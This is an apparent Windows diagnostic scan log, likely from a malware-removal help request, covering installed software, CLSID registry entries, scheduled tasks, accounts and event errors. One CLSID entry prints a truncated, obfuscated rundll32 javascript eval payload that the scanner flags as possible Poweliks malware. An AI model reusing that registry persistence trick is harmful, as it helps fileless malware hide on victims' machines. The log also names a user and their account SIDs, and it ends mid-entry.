(Version: 10.0.40219 - Microsoft Corporation)Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.50727 (HKLM-x32\...\{15134cb0-b767-4960-a911-f2d16ae54797}) (Version: 11.0.50727.1 - Microsoft Corporation)Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.50727 (HKLM-x32\...\{22154f09-719a-4619-bb71-5b3356999fbf}) (Version: 11.0.50727.1 - Microsoft Corporation)MobileMe Control Panel (HKLM\...\{3C5E60F1-0821-4B07-97EA-84EB5A927CF6}) (Version: 3.1.6.0 - Apple Inc.)Mozilla Firefox 27.0 (x86 en-US) (HKLM-x32\...\Mozilla Firefox 27.0 (x86 en-US)) (Version: 27.0 - Mozilla)Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 27.0 - Mozilla)Mp3tag v2.57 (HKLM-x32\...\Mp3tag) (Version: v2.57 - Florian Heidenreich)NEC Electronics USB 3.0 Host Controller Driver (HKLM-x32\...\InstallShield_{D7BF9739-8A68-4335-BBEE-37752AD9E86B}) (Version: 1.0.18.0 - NEC Electronics Corporation)NEC Electronics USB 3.0 Host Controller Driver (x32 Version: 1.0.18.0 - NEC Electronics Corporation) HiddenNoteTab Light 6 (Remove only) (HKLM-x32\...\NoteTab Light 6_is1) (Version: 6.2 - Fookes Holding Ltd)NVIDIA PhysX v8.10.29 (HKLM-x32\...\{D56B0E27-4A3E-46C9-B5C1-D93D580C099C}) (Version: 8.10.29 - NVIDIA Corporation)PSE10 STI Installer (x32 Version: 10.0 - Adobe Systems Incorporated) HiddenPunkBuster Services (HKLM-x32\...\PunkBusterSvc) (Version: 0.988 - Even Balance, Inc.)QuickTime 7 (HKLM-x32\...\{3D2CBC2C-65D4-4463-87AB-BB2C859C1F3E}) (Version: 7.76.80.95 - Apple Inc.)RealDownloader (x32 Version: 1.3.3 - RealNetworks, Inc.) HiddenRealNetworks - Microsoft Visual C++ 2008 Runtime (x32 Version: 9.0 - RealNetworks, Inc) HiddenRealNetworks - Microsoft Visual C++ 2010 Runtime (x32 Version: 10.0 - RealNetworks, Inc) HiddenRealPlayer (HKLM-x32\...\RealPlayer 16.0) (Version: 16.0.3 - RealNetworks)Realtek Ethernet Controller Driver For Windows Vista and Later (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 1.00.0009 - Realtek)Realtek HDMI Audio Driver for ATI (HKLM-x32\...\{5449FB4F-1802-4D5B-A6D8-087DB1142147}) (Version: 6.0.1.5992 - Realtek Semiconductor Corp.)Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.5998 - Realtek Semiconductor Corp.)RealUpgrade 1.1 (x32 Version: 1.1.0 - RealNetworks, Inc.) HiddenS.T.A.L.K.E.R.: Call of Pripyat (HKLM-x32\...\Steam App 41700) (Version: - GSC Game World)Steam (HKLM-x32\...\{048298C9-A4D3-490B-9FF9-AB023A9238F3}) (Version: 1.0.0.0 - Valve Corporation)TeamSpeak 3 Client (HKLM\...\TeamSpeak 3 Client) (Version: 3.0.8.1 - TeamSpeak Systems GmbH)TeraCopy 2.27 (HKLM\...\TeraCopy_is1) (Version: - Code Sector)The Elder Scrolls V: Skyrim (HKLM-x32\...\Steam App 72850) (Version: - Bethesda Game Studios)The Lord of the Rings FREE Trial (x32 Version: 1.00.0000 - ATI Technologies Inc.) HiddenVC80CRTRedist - 8.0.50727.6195 (x32 Version: 1.2.0 - DivX, Inc) HiddenVentrilo Client (HKLM-x32\...\{789289CA-F73A-4A16-A331-54D498CE069F}) (Version: 3.0.5 - Flagship Industries, Inc.)Visual C++ 8.0 Runtime Setup Package (x64) (HKLM-x32\...\{2FDBBCEA-62DB-45F4-B6E5-0E1FB2A1F29D}) (Version: 9.0.0.623 - AVG Technologies CZ, s.r.o.)WIDCOMM Bluetooth Software (HKLM\...\{9E9D49A4-1DF4-4138-B7DB-5D87A893088E}) (Version: 6.2.1.500 - Broadcom Corporation)Winamp (HKLM-x32\...\Winamp) (Version: 5.623 - Nullsoft, Inc)Winamp Detector Plug-in (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Winamp Detect) (Version: 1.0.0.1 - Nullsoft, Inc)Windows Driver Package - Broadcom Bluetooth (06/15/2009 6.2.0.9000) (HKLM\...\6B8550A319DDC8B17F35F4A89988705E4592349B) (Version: 06/15/2009 6.2.0.9000 - Broadcom)Windows Driver Package - Broadcom Bluetooth (07/30/2009 6.2.0.9405) (HKLM\...\6B6B5E96843E55CF5CF8C7E45FB457F1FE642FF1) (Version: 07/30/2009 6.2.0.9405 - Broadcom)Windows Driver Package - Broadcom HIDClass (07/28/2009 6.2.0.9800) (HKLM\...\3BA80AB4C7E9F8497C115C844953A3D4BEB84D21) (Version: 07/28/2009 6.2.0.9800 - Broadcom)Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 15.4.3555.0308 - Microsoft Corporation)Windows Live Sync (HKLM-x32\...\{B10914FD-8812-47A4-85A1-50FCDE7F1F33}) (Version: 14.0.8117.416 - Microsoft Corporation)Windows Media Player Firefox Plugin (HKLM-x32\...\{69FDFBB6-351D-4B8C-89D8-867DC9D0A2A4}) (Version: 1.0.0.8 - Microsoft Corp)WinRAR archiver (HKLM-x32\...\WinRAR archiver) (Version: - )Wolfenstein 1.2 Patch (x32 Version: - ) HiddenWorld of Warcraft (HKLM-x32\...\World of Warcraft) (Version: - Blizzard Entertainment)==================== Custom CLSID (selected items): ==========================(If an entry is included in the fixlist, it will be removed from registry. Any eventual file will not be moved.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}\localserver32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{0F22A205-CFB0-4679-8499-A6F44A80A208}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.5\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{355EC88A-02E2-4547-9DEE-F87426484BD1}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.23.9\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{49333195-81f4-43c6-a392-3398425598a1}\InprocServer32 -> C:\Windows\system32\dfshim.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{84B5A313-CD5D-4904-8BA2-AFDC81C1B309}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Citrix\GoToMeeting\1350\G2MOutlookAddin64.dll (Citrix Online, a division of Citrix Systems, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{87daff98-678c-4f4a-aafe-5254cadbe393}\InprocServer32 -> C:\Windows\system32\dfshim.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{90B3DFBF-AF6A-4EA0-8899-F332194690F8}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.24.15\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 251 more characters). <==== Poweliks?CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{D0336C0B-7919-4C04-8CCE-2EBAE2ECE8C9}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\psuser_64.dll (Google Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{E8CF3E55-F919-49D9-ABC0-948E6CB34B9F}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\psuser_64.dll (Google Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{F8071786-1FD0-4A66-81A1-3CBE29274458}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\FileSyncApi64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314ED9-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDA-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDB-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDC-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDD-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDE-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDF-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EE0-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FE498BAB-CB4C-4F88-AC3F-3641AAAF5E9E}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.24.7\psuser_64.dll No File==================== Restore Points =========================10-12-2014 07:50:41 Windows Update13-12-2014 15:45:23 Windows Update17-12-2014 07:10:09 Windows Update18-12-2014 12:30:15 Windows Update22-12-2014 08:37:26 Windows Update25-12-2014 21:18:00 Windows Update29-12-2014 09:39:24 Windows Update==================== Hosts content: ==========================(If needed Hosts: directive could be included in the fixlist to reset Hosts.)2009-07-13 21:34 - 2009-06-10 16:00 - 00000824 ____A C:\Windows\system32\Drivers\etc\hosts==================== Scheduled Tasks (whitelisted) =============(If an entry is included in the fixlist, it will be removed from registry. Any associated file could be listed separately to be moved.)Task: {13EFBF09-CD46-4647-8540-B1E93C2F9042} - System32\Tasks\Registration Trigger IBM Lotus Symphony Task => C:\Program Files (x86)\IBM\Lotus\Symphony\framework\rcp\rcplauncher.exe [2010-10-14] ()Task: {22C0B2EF-D43E-40FB-9735-ADCA52F158D2} - System32\Tasks\Microsoft_MKC_Logon_Task_itype.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2014-03-19] (Microsoft Corporation)Task: {25E3C5EF-58AA-4740-A085-AF7285651C8F} - System32\Tasks\RealDownloaderRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\RealNetworks\RealDownloader\realupgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {2ADBD7A4-6BC4-4FAA-A5D9-CFDF5F306D79} - System32\Tasks\RealPlayerRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\Real\RealUpgrade\RealUpgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {2BB7551B-B817-4E86-966D-57E00F246D6B} - System32\Tasks\Microsoft_Hardware_Launch_mousekeyboardcenter_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\mousekeyboardcenter.exe [2014-03-19] (Microsoft)Task: {3D128E10-3C3B-4EBD-80FA-1DB17F779CB7} - System32\Tasks\{98BF24E7-E556-4962-87AC-457FD13550E1} => C:\Program Files (x86)\Skype\Phone\Skype.exeTask: {40776560-A603-4608-A54F-8FF33ED378E3} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-05-13] (Google Inc.)Task: {4CA8D491-9A00-46AA-8D79-4862316CBE2D} - System32\Tasks\OfficeSoftwareProtectionPlatform\SvcRestartTask => Sc.exe start osppsvcTask: {4E595B4C-37D5-43D0-B601-3385AE3AF4BD} - System32\Tasks\Microsoft_Hardware_Launch_ipoint_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2014-03-19] (Microsoft Corporation)Task: {5133D178-EE34-4070-98E4-DE182CC0851C} - System32\Tasks\Microsoft_MKC_Logon_Task_ipoint.exe => c:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe [2014-03-19] (Microsoft Corporation)Task: {73CDD0E9-827D-4A7E-B69F-F283D4D508E1} - System32\Tasks\AdobeAAMUpdater-1.0-hagar-pc-Hagar => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [2012-09-20] (Adobe Systems Incorporated)Task: {939767C8-FBD6-496D-8E40-D9A959C486B1} - System32\Tasks\RealDownloaderRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\RealNetworks\RealDownloader\realupgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {952A045D-5BD7-478F-9266-51BB1DF66FB0} - System32\Tasks\{845949A4-43B9-4223-9F9E-DBB153020697} => pcalua.exe -a "C:\Users\Hagar\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RMD89TZI\setup[1].exe" -d C:\Users\Hagar\DesktopTask: {9B121EF6-8377-4D08-B040-6114E5D7BB95} - System32\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001Core => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [2014-10-22] (Google Inc.)Task: {9C246104-F829-4AF3-82D6-9B75C4BC46C7} - System32\Tasks\{F68BFE91-3453-426E-8112-389953EE1F97} => pcalua.exe -a D:\SETUP.EXE -d D:\Task: {A6C02330-F755-4F25-9145-9C25572E70F8} - System32\Tasks\RealDownloaderDownloaderScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\RealNetworks\RealDownloader\recordingmanager.exe [2013-08-14] (RealNetworks, Inc.)Task: {BC38CC62-743B-49C8-8392-07CF968C2C11} - System32\Tasks\RealPlayerRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Program Files (x86)\Real\RealUpgrade\RealUpgrade.exe [2013-08-14] (RealNetworks, Inc.)Task: {BE075CC3-063E-484B-BA3E-EAEA1EB4FEF2} - System32\Tasks\Microsoft_Hardware_Launch_devicecenter_exe => c:\Program Files\Microsoft Device Center\devicecenter.exeTask: {DD66CC70-A25B-42A3-AF4E-D887CE5C4062} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe [2013-05-13] (Google Inc.)Task: {E6D7DFD5-88CE-41D0-94FD-2F9B9F513CF7} - System32\Tasks\Microsoft_Hardware_Launch_itype_exe => c:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe [2014-03-19] (Microsoft Corporation)Task: {E91DCDFB-8212-465D-BC6D-489F06570C75} - System32\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001UA => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [2014-10-22] (Google Inc.)Task: {F40EADB1-6EEF-43BE-A097-0E359D3430AB} - System32\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-1001 => C:\Users\Hagar\AppData\Local\Citrix\GoToMeeting\2130\g2mupdate.exe [2014-12-20] (Citrix Online, a division of Citrix Systems, Inc.)Task: C:\Windows\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-1001.job => C:\Users\Hagar\AppData\Local\Citrix\GoToMeeting\2130\g2mupdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001Core.job => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exeTask: C:\Windows\Tasks\GoogleUpdateTaskUserS-1-5-21-3876090227-2952970025-1856670965-1001UA.job => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe==================== Loaded Modules (whitelisted) =============2010-08-29 13:30 - 2009-11-05 07:40 - 00085504 _____ () C:\Windows\System32\cpwmon64.dll2014-03-13 21:07 - 2012-08-31 14:03 - 00288768 _____ () C:\Windows\System32\HP1100LM.DLL2014-03-13 19:29 - 2012-08-31 14:02 - 00074240 _____ () C:\Windows\system32\spool\PRTPROCS\x64\HP1100PP.DLL2012-03-12 09:35 - 2012-08-31 14:03 - 03034112 _____ () C:\Windows\system32\spool\DRIVERS\x64\3\hp1100su.dll2012-03-12 09:35 - 2012-08-31 14:02 - 01038336 _____ () C:\Windows\system32\spool\DRIVERS\x64\3\HP1100GC.dll2010-09-12 08:54 - 2013-09-24 15:39 - 00075064 _____ () C:\Windows\SysWOW64\PnkBstrA.exe2013-08-14 14:19 - 2013-08-14 14:19 - 00039056 _____ () C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe2013-08-28 19:23 - 2013-08-28 19:23 - 01861968 _____ () C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe2013-08-30 18:47 - 2013-08-30 18:47 - 00102400 _____ () C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Proxy.Native.dll2012-03-12 09:35 - 2012-08-31 14:03 - 00373760 _____ () C:\Windows\system32\spool\DRIVERS\x64\3\hp1100sd.dll2010-10-23 18:17 - 2010-07-28 16:34 - 00022424 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinServicePS.dll2014-01-20 13:17 - 2014-01-20 13:17 - 00073544 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\zlib1.dll2014-10-11 13:05 - 2014-10-11 13:05 - 01044776 _____ () C:\Program Files (x86)\Common Files\Apple\Apple Application Support\libxml2.dll2014-11-15 15:33 - 2014-11-15 15:33 - 00081056 _____ () C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\LoggingPlatform.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00750080 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\libGLESv2.dll2014-12-29 09:28 - 2014-12-29 09:28 - 00043008 _____ () c:\users\hagar\appdata\local\temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmpws_vhc.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00047616 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\libEGL.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00863744 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\plugins\platforms\qwindows.dll2014-10-21 19:22 - 2014-10-21 19:22 - 00200704 _____ () C:\Users\Hagar\AppData\Roaming\Dropbox\bin\plugins\imageformats\qjpeg.dll2010-10-23 18:17 - 2010-06-23 17:11 - 00325632 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtXml4.dll2010-10-23 18:17 - 2010-06-23 17:11 - 01954304 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtCore4.dll2010-10-23 18:17 - 2010-06-23 17:12 - 07187456 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtGui4.dll2010-10-23 18:17 - 2010-06-23 17:11 - 00847360 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\QtNetwork4.dll2010-10-23 18:24 - 2010-06-23 16:38 - 00119808 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\imageformats\qjpeg4.dll2009-08-04 16:23 - 2009-08-04 16:23 - 00063032 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\HPTools.dll2009-08-04 16:23 - 2009-08-04 16:23 - 00075320 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\HPToolkit.dll2009-08-04 16:22 - 2009-08-04 16:22 - 00136248 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\DMBaseObjects.dll2009-08-04 16:22 - 2009-08-04 16:22 - 00678968 _____ () C:\Program Files (x86)\HP\HP UT LEDM\bin\LEDMXMLObjects.dll2013-08-28 19:25 - 2013-08-28 19:25 - 00100688 _____ () C:\Program Files (x86)\DivX\DivX Update\DivXUpdateCheck.dll2010-10-23 18:24 - 2010-07-28 16:02 - 00658432 _____ () C:\Program Files (x86)\Belkin\Router Setup and Monitor\gateways\GenericBelkinGatewayLOC.dll2010-12-05 09:15 - 2010-12-05 09:15 - 00967168 _____ () C:\Program Files (x86)\IBM\Lotus\Symphony\framework\shared\eclipse\plugins\com.ibm.symphony.brand.win32_3.0.0.20101015-2340\program\libxml2.dll2010-12-05 09:15 - 2010-12-05 09:15 - 00163840 _____ () C:\Program Files (x86)\IBM\Lotus\Symphony\framework\shared\eclipse\plugins\com.ibm.symphony.basis.system.win32_3.0.0.20101015-2340\basis\program\libxslt.dll2010-12-05 09:15 - 2010-12-05 09:15 - 00139264 _____ () C:\Program Files (x86)\IBM\Lotus\Symphony\framework\shared\eclipse\plugins\com.ibm.symphony.basis.base.win32_3.0.0.20101015-2340\basis\program\NSLDAP32V50.dll==================== Alternate Data Streams (whitelisted) =========(If an entry is included in the fixlist, only the Alternate Data Streams will be removed.)==================== Safe Mode (whitelisted) ===================(If an item is included in the fixlist, it will be removed from the registry. The "AlternateShell" will be restored.)==================== EXE Association (whitelisted) =============(If an entry is included in the fixlist, the default will be restored. None default entries will be removed.)==================== MSCONFIG/TASK MANAGER disabled items =========(Currently there is no automatic fix for this section.)MSCONFIG\startupfolder: C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^Bluetooth.lnk => C:\Windows\pss\Bluetooth.lnk.CommonStartupMSCONFIG\startupfolder: C:^Users^Hagar^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^OneNote 2010 Screen Clipper and Launcher.lnk => C:\Windows\pss\OneNote 2010 Screen Clipper and Launcher.lnk.StartupMSCONFIG\startupreg: Communicator => "C:\Program Files (x86)\Microsoft Lync\communicator.exe" /fromrunkeyMSCONFIG\startupreg: Logitech Download Assistant => C:\Windows\system32\rundll32.exe C:\Windows\System32\LogiLDA.dll,LogiFetchMSCONFIG\startupreg: WinampAgent => "C:\Program Files (x86)\Winamp\winampa.exe"========================= Accounts: ==========================Administrator (S-1-5-21-3876090227-2952970025-1856670965-500 - Administrator - Disabled)Andy (S-1-5-21-3876090227-2952970025-1856670965-1003 - Administrator - Enabled) => C:\Users\AndyGuest (S-1-5-21-3876090227-2952970025-1856670965-501 - Limited - Enabled)Hagar (S-1-5-21-3876090227-2952970025-1856670965-1001 - Administrator - Enabled) => C:\Users\HagarHomeGroupUser$ (S-1-5-21-3876090227-2952970025-1856670965-1002 - Limited - Enabled)==================== Faulty Device Manager Devices ================================= Event log errors: =========================Application errors:==================Error: (12/29/2014 09:36:35 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/29/2014 09:36:35 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/29/2014 09:28:09 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/29/2014 09:28:09 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/29/2014 07:57:18 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/29/2014 07:57:18 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/29/2014 07:43:31 AM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/28/2014 09:54:15 PM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/28/2014 09:54:15 PM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.Error: (12/28/2014 06:50:05 PM) (Source: SideBySide) (EventID: 33) (User: )Description: Activation context generation failed for "rpshellextension.1.0,language="*",type="win32",version="1.0.0.0"1".Dependent Assembly rpshellextension.1.0,language="*",type="win32",version="1.0.0.0" could not be found.Please use sxstrace.exe for detailed diagnosis.System errors:=============Error: (12/29/2014 09:47:30 AM) (Source: DCOM) (EventID: 10010) (User: )Description: {AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}Error: (12/29/2014 08:49:38 AM) (Source: Disk) (EventID: 11) (User: )Description: The driver detected a controller error on \Device\Harddisk5\DR5.Error: (12/29/2014 08:49:38 AM) (Source: Disk) (EventID: 11) (User: )Description: The driver detected a controller error on \Device\Harddisk5\DR5.Error: (12/29/2014 08:49:37 AM) (Source: Disk) (EventID: 11) (User: )Description: The driver detected a controller error on \Device\Harddisk5\DR5.Error: (12/29/2014 08:49:37 AM) (Source: Disk) (EventID: 11) (User: )Description: The driver detected a controller error on \Device\Harddisk5\DR5.Error: (12/29/2014 08:49:36 AM) (Source: Disk) (EventID: 11) (User: )Description: The driver detected a controller error on \Device\Harddisk5\DR5.Error: (12/29/2014 08:17:48 AM) (Source: Service Control Manager) (EventID: 7001) (User: )Description: The Network List Service service depends on the Network Location Awareness service which failed to start because of the following error:%%1068Error: (12/29/2014 08:01:55 AM) (Source: DCOM) 